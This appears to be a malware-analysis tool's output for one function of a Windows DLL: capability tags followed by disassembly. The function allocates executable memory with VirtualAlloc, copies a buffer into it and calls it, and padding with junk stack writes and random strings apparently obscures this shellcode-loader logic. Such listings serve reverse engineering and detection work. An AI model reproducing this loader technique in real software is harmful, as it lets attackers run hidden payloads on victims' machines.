Function at 0x1800098d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x228
mov eax, 8
mov word [rsp + 0x34], ax
mov dword [rsp + 0x98], 2
mov eax, 1
mov word [rsp + 0x38], ax
mov eax, 1
mov word [rsp + 0x3c], ax
mov dword [rsp + 0x9c], 6
lea rax, [rsp + 0x1e0]
lea rcx, str.EAGYojzmJWLHrdTglnISwNUhDPtCiXZsBFebVxfaMOqKRpQucykv
mov rdi, rax
mov rsi, rcx
mov ecx, 0x35
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x20], 1
mov qword [rsp + 0xc0], 8
mov byte [rsp + 0x21], 0x69
mov byte [rsp + 0x22], 1
mov dword [rsp + 0xa0], 4
mov byte [rsp + 0x23], 0x41
mov byte [rsp + 0x24], 0x67
mov byte [rsp + 0x25], 1
xor eax, eax
mov word [rsp + 0x40], ax
mov eax, 7
mov word [rsp + 0x44], ax
mov qword [rsp + 0xc8], 4
mov qword [rsp + 0xd0], 0
mov byte [rsp + 0x26], 1
mov qword [rsp + 0xd8], 0
mov byte [rsp + 0x27], 1
mov eax, 4
mov word [rsp + 0x48], ax
mov byte [rsp + 0x28], 0x79
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x130]
lea rcx, str.gWJcmkijQLUYMdSZTo
mov rdi, rax
mov rsi, rcx
mov ecx, 0x13
rep movsb byte [rdi], byte [rsi]
mov eax, 2
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x29], 1
mov dword [rsp + 0xa4], 0
lea rax, [rsp + 0x1a8]
lea rcx, str.kTlZrzghLfNiJpweqKFUVsWAjPDXamtIuRdMBvobcEOCGnSQH
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x2a], 0x65
mov qword [rsp + 0xe8], 0
lea rax, [rsp + 0x120]
lea rcx, str.zNRXUmyHVAhp
mov rdi, rax
mov rsi, rcx
mov ecx, 0xd
rep movsb byte [rdi], byte [rsi]
mov eax, 9
mov word [rsp + 0x50], ax
mov dword [rsp + 0xa8], 2
mov eax, 1
mov word [rsp + 0x54], ax
mov eax, 2
mov word [rsp + 0x58], ax
mov qword [rsp + 0xf0], 0
mov eax, 1
mov word [rsp + 0x5c], ax
mov eax, 9
mov word [rsp + 0x60], ax
mov qword [rsp + 0xf8], 0
mov eax, 1
mov word [rsp + 0x64], ax
mov byte [rsp + 0x2b], 1
mov eax, 6
mov word [rsp + 0x68], ax
mov qword [rsp + 0x100], 0
mov eax, 8
mov word [rsp + 0x6c], ax
mov dword [rsp + 0xac], 3
mov rcx, qword [rsp + 0x240]
call fcn.18000bf10
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x90], rax
mov eax, 8
mov word [rsp + 0x70], ax
mov rcx, qword [rsp + 0x240]
call fcn.18000bf10
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0x240]
call fcn.18000bfe0
mov rdi, qword [rsp + 0x90]
mov rsi, rax
mov rax, qword [rsp + 0xb8]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0xb0], 1
lea rax, [rsp + 0x170]
lea rcx, str.GelcjXOiCHaoJxNhBqyZkRfWSpYgKzLtUmAPMrEIFDuQvwVs
mov rdi, rax
mov rsi, rcx
mov ecx, 0x31
rep movsb byte [rdi], byte [rsi]
mov eax, 4
mov word [rsp + 0x74], ax
mov qword [rsp + 0x108], 4
mov eax, 1
mov word [rsp + 0x78], ax
mov byte [rsp + 0x2c], 1
lea rax, [rsp + 0x148]
lea rcx, str.UtVhFQvgbyIMqfLeosZcGWKBPJDTwlnNOjkYA
mov rdi, rax
mov rsi, rcx
mov ecx, 0x26
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x2d], 0x66
call qword [rsp + 0x90]
mov eax, 2
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x2e], 1
mov eax, 7
mov word [rsp + 0x80], ax
mov dword [rsp + 0x88], 1
mov rcx, qword [rsp + 0x240]
call fcn.18000c000
mov eax, dword [rsp + 0x88]
jmp 0x180009c26
add rsp, 0x228
pop rdi
pop rsi
ret